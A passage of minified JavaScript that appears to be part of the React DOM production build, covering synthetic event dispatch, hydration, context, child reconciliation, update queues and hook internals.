u=s,d=$h(n),f=[];e:{var p=o5.get(e);if(p!==void 0){var h=Hh,x=e;switch(e){case"keypress":if(mc(n)===0)break e;case"keydown":case"keyup":h=PC;break;case"focusin":x="focus",h=Df;break;case"focusout":x="blur",h=Df;break;case"beforeblur":case"afterblur":h=Df;break;case"click":if(n.button===2)break e;case"auxclick":case"dblclick":case"mousedown":case"mousemove":case"mouseup":case"mouseout":case"mouseover":case"contextmenu":h=Yv;break;case"drag":case"dragend":case"dragenter":case"dragexit":case"dragleave":case"dragover":case"dragstart":case"drop":h=xC;break;case"touchcancel":case"touchend":case"touchmove":case"touchstart":h=AC;break;case r5:case i5:case a5:h=yC;break;case s5:h=TC;break;case"scroll":h=pC;break;case"wheel":h=LC;break;case"copy":case"cut":case"paste":h=wC;break;case"gotpointercapture":case"lostpointercapture":case"pointercancel":case"pointerdown":case"pointermove":case"pointerout":case"pointerover":case"pointerup":h=Xv}var g=(t&4)!==0,y=!g&&e==="scroll",v=g?p!==null?p+"Capture":null:p;g=[];for(var b=u,w;b!==null;){w=b;var j=w.stateNode;if(w.tag===5&&j!==null&&(w=j,v!==null&&(j=vo(b,v),j!=null&&g.push(ko(b,j,w)))),y)break;b=b.return}0<g.length&&(p=new h(p,x,null,n,d),f.push({event:p,listeners:g}))}}if(!(t&7)){e:{if(p=e==="mouseover"||e==="pointerover",h=e==="mouseout"||e==="pointerout",p&&n!==Ym&&(x=n.relatedTarget||n.fromElement)&&(Hi(x)||x[Ar]))break e;if((h||p)&&(p=d.window===d?d:(p=d.ownerDocument)?p.defaultView||p.parentWindow:window,h?(x=n.relatedTarget||n.toElement,h=u,x=x?Hi(x):null,x!==null&&(y=va(x),x!==y||x.tag!==5&&x.tag!==6)&&(x=null)):(h=null,x=u),h!==x)){if(g=Yv,j="onMouseLeave",v="onMouseEnter",b="mouse",(e==="pointerout"||e==="pointerover")&&(g=Xv,j="onPointerLeave",v="onPointerEnter",b="pointer"),y=h==null?p:La(h),w=x==null?p:La(x),p=new g(j,b+"leave",h,n,d),p.target=y,p.relatedTarget=w,j=null,Hi(d)===u&&(g=new g(v,b+"enter",x,n,d),g.target=w,g.relatedTarget=y,j=g),y=j,h&&x)t:{for(g=h,v=x,b=0,w=g;w;w=ja(w))b++;for(w=0,j=v;j;j=ja(j))w++;for(;0<b-w;)g=ja(g),b--;for(;0<w-b;)v=ja(v),w--;for(;b--;){if(g===v||v!==null&&g===v.alternate)break t;g=ja(g),v=ja(v)}g=null}else g=null;h!==null&&og(f,p,h,g,!1),x!==null&&y!==null&&og(f,y,x,g,!0)}}e:{if(p=u?La(u):window,h=p.nodeName&&p.nodeName.toLowerCase(),h==="select"||h==="input"&&p.type==="file")var N=WC;else if(Jv(p))if(Qw)N=KC;else{N=VC;var k=UC}else(h=p.nodeName)&&h.toLowerCase()==="input"&&(p.type==="checkbox"||p.type==="radio")&&(N=HC);if(N&&(N=N(e,u))){Zw(f,N,n,d);break e}k&&k(e,p,u),e==="focusout"&&(k=p._wrapperState)&&k.controlled&&p.type==="number"&&Um(p,"number",p.value)}switch(k=u?La(u):window,e){case"focusin":(Jv(k)||k.contentEditable==="true")&&(Ta=k,tp=u,co=null);break;case"focusout":co=tp=Ta=null;break;case"mousedown":np=!0;break;case"contextmenu":case"mouseup":case"dragend":np=!1,ig(f,n,d);break;case"selectionchange":if(qC)break;case"keydown":case"keyup":ig(f,n,d)}var z;if(Gh)e:{switch(e){case"compositionstart":var S="onCompositionStart";break e;case"compositionend":S="onCompositionEnd";break e;case"compositionupdate":S="onCompositionUpdate";break e}S=void 0}else Oa?qw(e,n)&&(S="onCompositionEnd"):e==="keydown"&&n.keyCode===229&&(S="onCompositionStart");S&&(Yw&&n.locale!=="ko"&&(Oa||S!=="onCompositionStart"?S==="onCompositionEnd"&&Oa&&(z=Gw()):(oi=d,Vh="value"in oi?oi.value:oi.textContent,Oa=!0)),k=Lc(u,S),0<k.length&&(S=new qv(S,e,null,n,d),f.push({event:S,listeners:k}),z?S.data=z:(z=Xw(n),z!==null&&(S.data=z)))),(z=DC?RC(e,n):$C(e,n))&&(u=Lc(u,"onBeforeInput"),0<u.length&&(d=new qv("onBeforeInput","beforeinput",null,n,d),f.push({event:d,listeners:u}),d.data=z))}l5(f,t)})}function ko(e,t,n){return{instance:e,listener:t,currentTarget:n}}function Lc(e,t){for(var n=t+"Capture",r=[];e!==null;){var i=e,s=i.stateNode;i.tag===5&&s!==null&&(i=s,s=vo(e,n),s!=null&&r.unshift(ko(e,s,i)),s=vo(e,t),s!=null&&r.push(ko(e,s,i))),e=e.return}return r}function ja(e){if(e===null)return null;do e=e.return;while(e&&e.tag!==5);return e||null}function og(e,t,n,r,i){for(var s=t._reactName,o=[];n!==null&&n!==r;){var l=n,c=l.alternate,u=l.stateNode;if(c!==null&&c===r)break;l.tag===5&&u!==null&&(l=u,i?(c=vo(n,s),c!=null&&o.unshift(ko(n,c,l))):i||(c=vo(n,s),c!=null&&o.push(ko(n,c,l)))),n=n.return}o.length!==0&&e.push({event:t,listeners:o})}var JC=/\r\n?/g,eP=/\u0000|\uFFFD/g;function lg(e){return(typeof e=="string"?e:""+e).replace(JC,`
|
||
`).replace(eP,"")}function Ml(e,t,n){if(t=lg(t),lg(e)!==t&&n)throw Error(ee(425))}function Ic(){}var rp=null,ip=null;function ap(e,t){return e==="textarea"||e==="noscript"||typeof t.children=="string"||typeof t.children=="number"||typeof t.dangerouslySetInnerHTML=="object"&&t.dangerouslySetInnerHTML!==null&&t.dangerouslySetInnerHTML.__html!=null}var sp=typeof setTimeout=="function"?setTimeout:void 0,tP=typeof clearTimeout=="function"?clearTimeout:void 0,cg=typeof Promise=="function"?Promise:void 0,nP=typeof queueMicrotask=="function"?queueMicrotask:typeof cg<"u"?function(e){return cg.resolve(null).then(e).catch(rP)}:sp;function rP(e){setTimeout(function(){throw e})}function Hf(e,t){var n=t,r=0;do{var i=n.nextSibling;if(e.removeChild(n),i&&i.nodeType===8)if(n=i.data,n==="/$"){if(r===0){e.removeChild(i),bo(t);return}r--}else n!=="$"&&n!=="$?"&&n!=="$!"||r++;n=i}while(n);bo(t)}function pi(e){for(;e!=null;e=e.nextSibling){var t=e.nodeType;if(t===1||t===3)break;if(t===8){if(t=e.data,t==="$"||t==="$!"||t==="$?")break;if(t==="/$")return null}}return e}function ug(e){e=e.previousSibling;for(var t=0;e;){if(e.nodeType===8){var n=e.data;if(n==="$"||n==="$!"||n==="$?"){if(t===0)return e;t--}else n==="/$"&&t++}e=e.previousSibling}return null}var vs=Math.random().toString(36).slice(2),sr="__reactFiber$"+vs,zo="__reactProps$"+vs,Ar="__reactContainer$"+vs,op="__reactEvents$"+vs,iP="__reactListeners$"+vs,aP="__reactHandles$"+vs;function Hi(e){var t=e[sr];if(t)return t;for(var n=e.parentNode;n;){if(t=n[Ar]||n[sr]){if(n=t.alternate,t.child!==null||n!==null&&n.child!==null)for(e=ug(e);e!==null;){if(n=e[sr])return n;e=ug(e)}return t}e=n,n=e.parentNode}return null}function nl(e){return e=e[sr]||e[Ar],!e||e.tag!==5&&e.tag!==6&&e.tag!==13&&e.tag!==3?null:e}function La(e){if(e.tag===5||e.tag===6)return e.stateNode;throw Error(ee(33))}function Ju(e){return e[zo]||null}var lp=[],Ia=-1;function Ei(e){return{current:e}}function Ue(e){0>Ia||(e.current=lp[Ia],lp[Ia]=null,Ia--)}function Be(e,t){Ia++,lp[Ia]=e.current,e.current=t}var ki={},$t=Ei(ki),Qt=Ei(!1),ra=ki;function ts(e,t){var n=e.type.contextTypes;if(!n)return ki;var r=e.stateNode;if(r&&r.__reactInternalMemoizedUnmaskedChildContext===t)return r.__reactInternalMemoizedMaskedChildContext;var i={},s;for(s in n)i[s]=t[s];return r&&(e=e.stateNode,e.__reactInternalMemoizedUnmaskedChildContext=t,e.__reactInternalMemoizedMaskedChildContext=i),i}function Jt(e){return e=e.childContextTypes,e!=null}function Dc(){Ue(Qt),Ue($t)}function dg(e,t,n){if($t.current!==ki)throw Error(ee(168));Be($t,t),Be(Qt,n)}function u5(e,t,n){var r=e.stateNode;if(t=t.childContextTypes,typeof r.getChildContext!="function")return n;r=r.getChildContext();for(var i in r)if(!(i in t))throw Error(ee(108,US(e)||"Unknown",i));return Ze({},n,r)}function Rc(e){return e=(e=e.stateNode)&&e.__reactInternalMemoizedMergedChildContext||ki,ra=$t.current,Be($t,e),Be(Qt,Qt.current),!0}function fg(e,t,n){var r=e.stateNode;if(!r)throw Error(ee(169));n?(e=u5(e,t,ra),r.__reactInternalMemoizedMergedChildContext=e,Ue(Qt),Ue($t),Be($t,e)):Ue(Qt),Be(Qt,n)}var jr=null,ed=!1,Kf=!1;function d5(e){jr===null?jr=[e]:jr.push(e)}function sP(e){ed=!0,d5(e)}function _i(){if(!Kf&&jr!==null){Kf=!0;var e=0,t=Le;try{var n=jr;for(Le=1;e<n.length;e++){var r=n[e];do r=r(!0);while(r!==null)}jr=null,ed=!1}catch(i){throw jr!==null&&(jr=jr.slice(e+1)),Iw(Bh,_i),i}finally{Le=t,Kf=!1}}return null}var Da=[],Ra=0,$c=null,Bc=0,zn=[],Sn=0,ia=null,kr=1,zr="";function $i(e,t){Da[Ra++]=Bc,Da[Ra++]=$c,$c=e,Bc=t}function f5(e,t,n){zn[Sn++]=kr,zn[Sn++]=zr,zn[Sn++]=ia,ia=e;var r=kr;e=zr;var i=32-Kn(r)-1;r&=~(1<<i),n+=1;var s=32-Kn(t)+i;if(30<s){var o=i-i%5;s=(r&(1<<o)-1).toString(32),r>>=o,i-=o,kr=1<<32-Kn(t)+i|n<<i|r,zr=s+e}else kr=1<<s|n<<i|r,zr=e}function qh(e){e.return!==null&&($i(e,1),f5(e,1,0))}function Xh(e){for(;e===$c;)$c=Da[--Ra],Da[Ra]=null,Bc=Da[--Ra],Da[Ra]=null;for(;e===ia;)ia=zn[--Sn],zn[Sn]=null,zr=zn[--Sn],zn[Sn]=null,kr=zn[--Sn],zn[Sn]=null}var dn=null,cn=null,Ke=!1,Wn=null;function m5(e,t){var n=Cn(5,null,null,0);n.elementType="DELETED",n.stateNode=t,n.return=e,t=e.deletions,t===null?(e.deletions=[n],e.flags|=16):t.push(n)}function mg(e,t){switch(e.tag){case 5:var n=e.type;return t=t.nodeType!==1||n.toLowerCase()!==t.nodeName.toLowerCase()?null:t,t!==null?(e.stateNode=t,dn=e,cn=pi(t.firstChild),!0):!1;case 6:return t=e.pendingProps===""||t.nodeType!==3?null:t,t!==null?(e.stateNode=t,dn=e,cn=null,!0):!1;case 13:return t=t.nodeType!==8?null:t,t!==null?(n=ia!==null?{id:kr,overflow:zr}:null,e.memoizedState={dehydrated:t,treeContext:n,retryLane:1073741824},n=Cn(18,null,null,0),n.stateNode=t,n.return=e,e.child=n,dn=e,cn=null,!0):!1;default:return!1}}function cp(e){return(e.mode&1)!==0&&(e.flags&128)===0}function up(e){if(Ke){var t=cn;if(t){var n=t;if(!mg(e,t)){if(cp(e))throw Error(ee(418));t=pi(n.nextSibling);var r=dn;t&&mg(e,t)?m5(r,n):(e.flags=e.flags&-4097|2,Ke=!1,dn=e)}}else{if(cp(e))throw Error(ee(418));e.flags=e.flags&-4097|2,Ke=!1,dn=e}}}function pg(e){for(e=e.return;e!==null&&e.tag!==5&&e.tag!==3&&e.tag!==13;)e=e.return;dn=e}function Ll(e){if(e!==dn)return!1;if(!Ke)return pg(e),Ke=!0,!1;var t;if((t=e.tag!==3)&&!(t=e.tag!==5)&&(t=e.type,t=t!=="head"&&t!=="body"&&!ap(e.type,e.memoizedProps)),t&&(t=cn)){if(cp(e))throw p5(),Error(ee(418));for(;t;)m5(e,t),t=pi(t.nextSibling)}if(pg(e),e.tag===13){if(e=e.memoizedState,e=e!==null?e.dehydrated:null,!e)throw Error(ee(317));e:{for(e=e.nextSibling,t=0;e;){if(e.nodeType===8){var n=e.data;if(n==="/$"){if(t===0){cn=pi(e.nextSibling);break e}t--}else n!=="$"&&n!=="$!"&&n!=="$?"||t++}e=e.nextSibling}cn=null}}else cn=dn?pi(e.stateNode.nextSibling):null;return!0}function p5(){for(var e=cn;e;)e=pi(e.nextSibling)}function ns(){cn=dn=null,Ke=!1}function Zh(e){Wn===null?Wn=[e]:Wn.push(e)}var oP=Ur.ReactCurrentBatchConfig;function Ds(e,t,n){if(e=n.ref,e!==null&&typeof e!="function"&&typeof e!="object"){if(n._owner){if(n=n._owner,n){if(n.tag!==1)throw Error(ee(309));var r=n.stateNode}if(!r)throw Error(ee(147,e));var i=r,s=""+e;return t!==null&&t.ref!==null&&typeof t.ref=="function"&&t.ref._stringRef===s?t.ref:(t=function(o){var l=i.refs;o===null?delete l[s]:l[s]=o},t._stringRef=s,t)}if(typeof e!="string")throw Error(ee(284));if(!n._owner)throw Error(ee(290,e))}return e}function Il(e,t){throw e=Object.prototype.toString.call(t),Error(ee(31,e==="[object Object]"?"object with keys {"+Object.keys(t).join(", ")+"}":e))}function hg(e){var t=e._init;return t(e._payload)}function h5(e){function t(v,b){if(e){var w=v.deletions;w===null?(v.deletions=[b],v.flags|=16):w.push(b)}}function n(v,b){if(!e)return null;for(;b!==null;)t(v,b),b=b.sibling;return null}function r(v,b){for(v=new Map;b!==null;)b.key!==null?v.set(b.key,b):v.set(b.index,b),b=b.sibling;return v}function i(v,b){return v=gi(v,b),v.index=0,v.sibling=null,v}function s(v,b,w){return v.index=w,e?(w=v.alternate,w!==null?(w=w.index,w<b?(v.flags|=2,b):w):(v.flags|=2,b)):(v.flags|=1048576,b)}function o(v){return e&&v.alternate===null&&(v.flags|=2),v}function l(v,b,w,j){return b===null||b.tag!==6?(b=Jf(w,v.mode,j),b.return=v,b):(b=i(b,w),b.return=v,b)}function c(v,b,w,j){var N=w.type;return N===Aa?d(v,b,w.props.children,j,w.key):b!==null&&(b.elementType===N||typeof N=="object"&&N!==null&&N.$$typeof===ti&&hg(N)===b.type)?(j=i(b,w.props),j.ref=Ds(v,b,w),j.return=v,j):(j=bc(w.type,w.key,w.props,null,v.mode,j),j.ref=Ds(v,b,w),j.return=v,j)}function u(v,b,w,j){return b===null||b.tag!==4||b.stateNode.containerInfo!==w.containerInfo||b.stateNode.implementation!==w.implementation?(b=em(w,v.mode,j),b.return=v,b):(b=i(b,w.children||[]),b.return=v,b)}function d(v,b,w,j,N){return b===null||b.tag!==7?(b=Qi(w,v.mode,j,N),b.return=v,b):(b=i(b,w),b.return=v,b)}function f(v,b,w){if(typeof b=="string"&&b!==""||typeof b=="number")return b=Jf(""+b,v.mode,w),b.return=v,b;if(typeof b=="object"&&b!==null){switch(b.$$typeof){case zl:return w=bc(b.type,b.key,b.props,null,v.mode,w),w.ref=Ds(v,null,b),w.return=v,w;case _a:return b=em(b,v.mode,w),b.return=v,b;case ti:var j=b._init;return f(v,j(b._payload),w)}if(Js(b)||Os(b))return b=Qi(b,v.mode,w,null),b.return=v,b;Il(v,b)}return null}function p(v,b,w,j){var N=b!==null?b.key:null;if(typeof w=="string"&&w!==""||typeof w=="number")return N!==null?null:l(v,b,""+w,j);if(typeof w=="object"&&w!==null){switch(w.$$typeof){case zl:return w.key===N?c(v,b,w,j):null;case _a:return w.key===N?u(v,b,w,j):null;case ti:return N=w._init,p(v,b,N(w._payload),j)}if(Js(w)||Os(w))return N!==null?null:d(v,b,w,j,null);Il(v,w)}return null}function h(v,b,w,j,N){if(typeof j=="string"&&j!==""||typeof j=="number")return v=v.get(w)||null,l(b,v,""+j,N);if(typeof j=="object"&&j!==null){switch(j.$$typeof){case zl:return v=v.get(j.key===null?w:j.key)||null,c(b,v,j,N);case _a:return v=v.get(j.key===null?w:j.key)||null,u(b,v,j,N);case ti:var k=j._init;return h(v,b,w,k(j._payload),N)}if(Js(j)||Os(j))return v=v.get(w)||null,d(b,v,j,N,null);Il(b,j)}return null}function x(v,b,w,j){for(var N=null,k=null,z=b,S=b=0,O=null;z!==null&&S<w.length;S++){z.index>S?(O=z,z=null):O=z.sibling;var A=p(v,z,w[S],j);if(A===null){z===null&&(z=O);break}e&&z&&A.alternate===null&&t(v,z),b=s(A,b,S),k===null?N=A:k.sibling=A,k=A,z=O}if(S===w.length)return n(v,z),Ke&&$i(v,S),N;if(z===null){for(;S<w.length;S++)z=f(v,w[S],j),z!==null&&(b=s(z,b,S),k===null?N=z:k.sibling=z,k=z);return Ke&&$i(v,S),N}for(z=r(v,z);S<w.length;S++)O=h(z,v,S,w[S],j),O!==null&&(e&&O.alternate!==null&&z.delete(O.key===null?S:O.key),b=s(O,b,S),k===null?N=O:k.sibling=O,k=O);return e&&z.forEach(function(T){return t(v,T)}),Ke&&$i(v,S),N}function g(v,b,w,j){var N=Os(w);if(typeof N!="function")throw Error(ee(150));if(w=N.call(w),w==null)throw Error(ee(151));for(var k=N=null,z=b,S=b=0,O=null,A=w.next();z!==null&&!A.done;S++,A=w.next()){z.index>S?(O=z,z=null):O=z.sibling;var T=p(v,z,A.value,j);if(T===null){z===null&&(z=O);break}e&&z&&T.alternate===null&&t(v,z),b=s(T,b,S),k===null?N=T:k.sibling=T,k=T,z=O}if(A.done)return n(v,z),Ke&&$i(v,S),N;if(z===null){for(;!A.done;S++,A=w.next())A=f(v,A.value,j),A!==null&&(b=s(A,b,S),k===null?N=A:k.sibling=A,k=A);return Ke&&$i(v,S),N}for(z=r(v,z);!A.done;S++,A=w.next())A=h(z,v,S,A.value,j),A!==null&&(e&&A.alternate!==null&&z.delete(A.key===null?S:A.key),b=s(A,b,S),k===null?N=A:k.sibling=A,k=A);return e&&z.forEach(function(P){return t(v,P)}),Ke&&$i(v,S),N}function y(v,b,w,j){if(typeof w=="object"&&w!==null&&w.type===Aa&&w.key===null&&(w=w.props.children),typeof w=="object"&&w!==null){switch(w.$$typeof){case zl:e:{for(var N=w.key,k=b;k!==null;){if(k.key===N){if(N=w.type,N===Aa){if(k.tag===7){n(v,k.sibling),b=i(k,w.props.children),b.return=v,v=b;break e}}else if(k.elementType===N||typeof N=="object"&&N!==null&&N.$$typeof===ti&&hg(N)===k.type){n(v,k.sibling),b=i(k,w.props),b.ref=Ds(v,k,w),b.return=v,v=b;break e}n(v,k);break}else t(v,k);k=k.sibling}w.type===Aa?(b=Qi(w.props.children,v.mode,j,w.key),b.return=v,v=b):(j=bc(w.type,w.key,w.props,null,v.mode,j),j.ref=Ds(v,b,w),j.return=v,v=j)}return o(v);case _a:e:{for(k=w.key;b!==null;){if(b.key===k)if(b.tag===4&&b.stateNode.containerInfo===w.containerInfo&&b.stateNode.implementation===w.implementation){n(v,b.sibling),b=i(b,w.children||[]),b.return=v,v=b;break e}else{n(v,b);break}else t(v,b);b=b.sibling}b=em(w,v.mode,j),b.return=v,v=b}return o(v);case ti:return k=w._init,y(v,b,k(w._payload),j)}if(Js(w))return x(v,b,w,j);if(Os(w))return g(v,b,w,j);Il(v,w)}return typeof w=="string"&&w!==""||typeof w=="number"?(w=""+w,b!==null&&b.tag===6?(n(v,b.sibling),b=i(b,w),b.return=v,v=b):(n(v,b),b=Jf(w,v.mode,j),b.return=v,v=b),o(v)):n(v,b)}return y}var rs=h5(!0),x5=h5(!1),Fc=Ei(null),Wc=null,$a=null,Qh=null;function Jh(){Qh=$a=Wc=null}function ex(e){var t=Fc.current;Ue(Fc),e._currentValue=t}function dp(e,t,n){for(;e!==null;){var r=e.alternate;if((e.childLanes&t)!==t?(e.childLanes|=t,r!==null&&(r.childLanes|=t)):r!==null&&(r.childLanes&t)!==t&&(r.childLanes|=t),e===n)break;e=e.return}}function qa(e,t){Wc=e,Qh=$a=null,e=e.dependencies,e!==null&&e.firstContext!==null&&(e.lanes&t&&(Yt=!0),e.firstContext=null)}function _n(e){var t=e._currentValue;if(Qh!==e)if(e={context:e,memoizedValue:t,next:null},$a===null){if(Wc===null)throw Error(ee(308));$a=e,Wc.dependencies={lanes:0,firstContext:e}}else $a=$a.next=e;return t}var Ki=null;function tx(e){Ki===null?Ki=[e]:Ki.push(e)}function v5(e,t,n,r){var i=t.interleaved;return i===null?(n.next=n,tx(t)):(n.next=i.next,i.next=n),t.interleaved=n,Or(e,r)}function Or(e,t){e.lanes|=t;var n=e.alternate;for(n!==null&&(n.lanes|=t),n=e,e=e.return;e!==null;)e.childLanes|=t,n=e.alternate,n!==null&&(n.childLanes|=t),n=e,e=e.return;return n.tag===3?n.stateNode:null}var ni=!1;function nx(e){e.updateQueue={baseState:e.memoizedState,firstBaseUpdate:null,lastBaseUpdate:null,shared:{pending:null,interleaved:null,lanes:0},effects:null}}function g5(e,t){e=e.updateQueue,t.updateQueue===e&&(t.updateQueue={baseState:e.baseState,firstBaseUpdate:e.firstBaseUpdate,lastBaseUpdate:e.lastBaseUpdate,shared:e.shared,effects:e.effects})}function Pr(e,t){return{eventTime:e,lane:t,tag:0,payload:null,callback:null,next:null}}function hi(e,t,n){var r=e.updateQueue;if(r===null)return null;if(r=r.shared,Pe&2){var i=r.pending;return i===null?t.next=t:(t.next=i.next,i.next=t),r.pending=t,Or(e,n)}return i=r.interleaved,i===null?(t.next=t,tx(r)):(t.next=i.next,i.next=t),r.interleaved=t,Or(e,n)}function pc(e,t,n){if(t=t.updateQueue,t!==null&&(t=t.shared,(n&4194240)!==0)){var r=t.lanes;r&=e.pendingLanes,n|=r,t.lanes=n,Fh(e,n)}}function xg(e,t){var n=e.updateQueue,r=e.alternate;if(r!==null&&(r=r.updateQueue,n===r)){var i=null,s=null;if(n=n.firstBaseUpdate,n!==null){do{var o={eventTime:n.eventTime,lane:n.lane,tag:n.tag,payload:n.payload,callback:n.callback,next:null};s===null?i=s=o:s=s.next=o,n=n.next}while(n!==null);s===null?i=s=t:s=s.next=t}else i=s=t;n={baseState:r.baseState,firstBaseUpdate:i,lastBaseUpdate:s,shared:r.shared,effects:r.effects},e.updateQueue=n;return}e=n.lastBaseUpdate,e===null?n.firstBaseUpdate=t:e.next=t,n.lastBaseUpdate=t}function Uc(e,t,n,r){var i=e.updateQueue;ni=!1;var s=i.firstBaseUpdate,o=i.lastBaseUpdate,l=i.shared.pending;if(l!==null){i.shared.pending=null;var c=l,u=c.next;c.next=null,o===null?s=u:o.next=u,o=c;var d=e.alternate;d!==null&&(d=d.updateQueue,l=d.lastBaseUpdate,l!==o&&(l===null?d.firstBaseUpdate=u:l.next=u,d.lastBaseUpdate=c))}if(s!==null){var f=i.baseState;o=0,d=u=c=null,l=s;do{var p=l.lane,h=l.eventTime;if((r&p)===p){d!==null&&(d=d.next={eventTime:h,lane:0,tag:l.tag,payload:l.payload,callback:l.callback,next:null});e:{var x=e,g=l;switch(p=t,h=n,g.tag){case 1:if(x=g.payload,typeof x=="function"){f=x.call(h,f,p);break e}f=x;break e;case 3:x.flags=x.flags&-65537|128;case 0:if(x=g.payload,p=typeof x=="function"?x.call(h,f,p):x,p==null)break e;f=Ze({},f,p);break e;case 2:ni=!0}}l.callback!==null&&l.lane!==0&&(e.flags|=64,p=i.effects,p===null?i.effects=[l]:p.push(l))}else h={eventTime:h,lane:p,tag:l.tag,payload:l.payload,callback:l.callback,next:null},d===null?(u=d=h,c=f):d=d.next=h,o|=p;if(l=l.next,l===null){if(l=i.shared.pending,l===null)break;p=l,l=p.next,p.next=null,i.lastBaseUpdate=p,i.shared.pending=null}}while(!0);if(d===null&&(c=f),i.baseState=c,i.firstBaseUpdate=u,i.lastBaseUpdate=d,t=i.shared.interleaved,t!==null){i=t;do o|=i.lane,i=i.next;while(i!==t)}else s===null&&(i.shared.lanes=0);sa|=o,e.lanes=o,e.memoizedState=f}}function vg(e,t,n){if(e=t.effects,t.effects=null,e!==null)for(t=0;t<e.length;t++){var r=e[t],i=r.callback;if(i!==null){if(r.callback=null,r=n,typeof i!="function")throw Error(ee(191,i));i.call(r)}}}var rl={},dr=Ei(rl),So=Ei(rl),Co=Ei(rl);function Gi(e){if(e===rl)throw Error(ee(174));return e}function rx(e,t){switch(Be(Co,t),Be(So,e),Be(dr,rl),e=t.nodeType,e){case 9:case 11:t=(t=t.documentElement)?t.namespaceURI:Hm(null,"");break;default:e=e===8?t.parentNode:t,t=e.namespaceURI||null,e=e.tagName,t=Hm(t,e)}Ue(dr),Be(dr,t)}function is(){Ue(dr),Ue(So),Ue(Co)}function y5(e){Gi(Co.current);var t=Gi(dr.current),n=Hm(t,e.type);t!==n&&(Be(So,e),Be(dr,n))}function ix(e){So.current===e&&(Ue(dr),Ue(So))}var Ye=Ei(0);function Vc(e){for(var t=e;t!==null;){if(t.tag===13){var n=t.memoizedState;if(n!==null&&(n=n.dehydrated,n===null||n.data==="$?"||n.data==="$!"))return t}else if(t.tag===19&&t.memoizedProps.revealOrder!==void 0){if(t.flags&128)return t}else if(t.child!==null){t.child.return=t,t=t.child;continue}if(t===e)break;for(;t.sibling===null;){if(t.return===null||t.return===e)return null;t=t.return}t.sibling.return=t.return,t=t.sibling}return null}var Gf=[];function ax(){for(var e=0;e<Gf.length;e++)Gf[e]._workInProgressVersionPrimary=null;Gf.length=0}var hc=Ur.ReactCurrentDispatcher,Yf=Ur.ReactCurrentBatchConfig,aa=0,qe=null,pt=null,jt=null,Hc=!1,uo=!1,Po=0,lP=0;function It(){throw Error(ee(321))}function sx(e,t){if(t===null)return!1;for(var n=0;n<t.length&&n<e.length;n++)if(!qn(e[n],t[n]))return!1;return!0}function ox(e,t,n,r,i,s){if(aa=s,qe=t,t.memoizedState=null,t.updateQueue=null,t.lanes=0,hc.current=e===null||e.memoizedState===null?fP:mP,e=n(r,i),uo){s=0;do{if(uo=!1,Po=0,25<=s)throw Error(ee(301));s+=1,jt=pt=null,t.updateQueue=null,hc.current=pP,e=n(r,i)}while(uo)}if(hc.current=Kc,t=pt!==null&&pt.next!==null,aa=0,jt=pt=qe=null,Hc=!1,t)throw Error(ee(300));return e}function lx(){var e=Po!==0;return Po=0,e}function ar(){var e={memoizedState:null,baseState:null,baseQueue:null,queue:null,next:null};return jt===null?qe.memoizedState=jt=e:jt=jt.next=e,jt}function An(){if(pt===null){var e=qe.alternate;e=e!==null?e.memoizedState:null}else e=pt.next;var t=jt===null?qe.memoizedState:jt.next;if(t!==null)jt=t,pt=e;else{if(e===null)throw Error(ee(310));pt=e,e={memoizedState:pt.memoizedState,baseState:pt.baseState,baseQueue:pt.baseQueue,queue:pt.queue,next:null},jt===null?qe.memoizedState=jt=e:jt=jt.next=e}return jt}function Eo(e,t){return typeof t=="function"?t(e):t}function qf(e){var t=An(),n=t.queue;if(n===null)throw Error(ee(311));n.lastRenderedReducer=e;var r=pt,i=r.baseQueue,s=n.pending;if(s!==null){if(i!==null){var o=i.next;i.next=s.next,s.next=o}r.baseQueue=i=s,n.pending=null}if(i!==null){s=i.next,r=r.baseState;var l=o=null,c=null,u=s;do{var d=u.lane;if((aa&d)===d)c!==null&&(c=c.next={lane:0,action:u.action,hasEagerState:u.hasEagerState,eagerState:u.eagerState,next:null}),r=u.hasEagerState?u.eagerState:e(r,u.action);else{var f={lane:d,action:u.action,hasEagerState:u.hasEagerState,eagerState:u.eagerState,next:null};c===null?(l=c=f,o=r):c=c.next=f,qe.lanes|=d,sa|=d}u=u.next}while(u!==null&&u!==s);c===null?o=r:c.next=l,qn(r,t.memoizedState)||(Yt=!0),t.memoizedState=r,t.baseState=o,t.baseQueue=c,n.lastRenderedState=r}if(e=n.interleaved,e!==null){i=e;do s=i.lane,qe.lanes|=s,sa|=s,i=i.next;while(i!==e)}else i===null&&(n.lanes=0);return[t.memoizedState,n.dispatch]}function Xf(e){var t=An(),n=t.queue;if(n===null)throw Error(ee(311));n.lastRenderedReducer=e;var r=n.dispatch,i=n.pending,s=t.memoizedState;if(i!==null){n.pending=null;var o=i=i.next;do s=e(s,o.action),o=o.next;while(o!==i);qn(s,t.memoizedState)||(Yt=!0),t.memoizedState=s,t.baseQueue===null&&(t.baseState=s),n.lastRenderedState=s}return[s,r]}function b5(){}function w5(e,t){var n=qe,r=An(),i=t(),s=!qn(r.memoizedState,i);if(s&&(r.memoizedState=i,Yt=!0),r=r.queue,cx(k5.bind(null,n,r,e),[e]),r.getSnapshot!==t||s||jt!==null&&jt.memoizedState.tag&1){if(n.flags|=2048,_o(9,N5.bind(null,n,r,i,t),void 0,null),Nt===null)throw Error(ee(349));aa&30||j5(n,t,i)}return i}function j5(e,t,n){e.flags|=16384,e={getSnapshot:t,value:n},t=qe.updateQueue,t===null?(t={lastEffect:null,stores:null},qe.updateQueue=t,t.stores=[e]):(n=t.stores,n===null?t.stores=[e]:n.push(e))}function N5(e,t,n,r){t.value=n,t.getSnapshot=r,z5(t)&&S5(e)}function k5(e,t,n){return n(function(){z5(t)&&S5(e)})}function z5(e){var t=e.getSnapshot;e=e.value;try{var n=t();return!qn(e,n)}catch{return!0}}function S5(e){var t=Or(e,1);t!==null&&Gn(t,e,1,-1)}function gg(e){var t=ar();return typeof e=="function"&&(e=e()),t.memoizedState=t.baseState=e,e={pending:null,interleaved:null,lanes:0,dispatch:null,lastRenderedReducer:Eo,lastRenderedState:e},t.queue=e,e=e.dispatch=dP.bind(null,qe,e),[t.memoizedState,e]}function _o(e,t,n,r){return e={tag:e,create:t,destroy:n,deps:r,next:null},t=qe.updateQueue,t===null?(t={lastEffect:null,stores:null},qe.updateQueue=t,t.lastEffect=e.next=e):(n=t.lastEffect,n===null?t.lastEffect=e.next=e:(r=n.next,n.next=e,e.next=r,t.lastEffect=e)),e}function C5(){return An().memoizedState}function xc(e,t,n,r){var i=ar();qe.flags|=e,i.memoizedState=_o(1|t,n,void 0,r===void 0?null:r)}function td(e,t,n,r){var i=An();r=r===void 0?null:r;var s=void 0;if(pt!==null){var 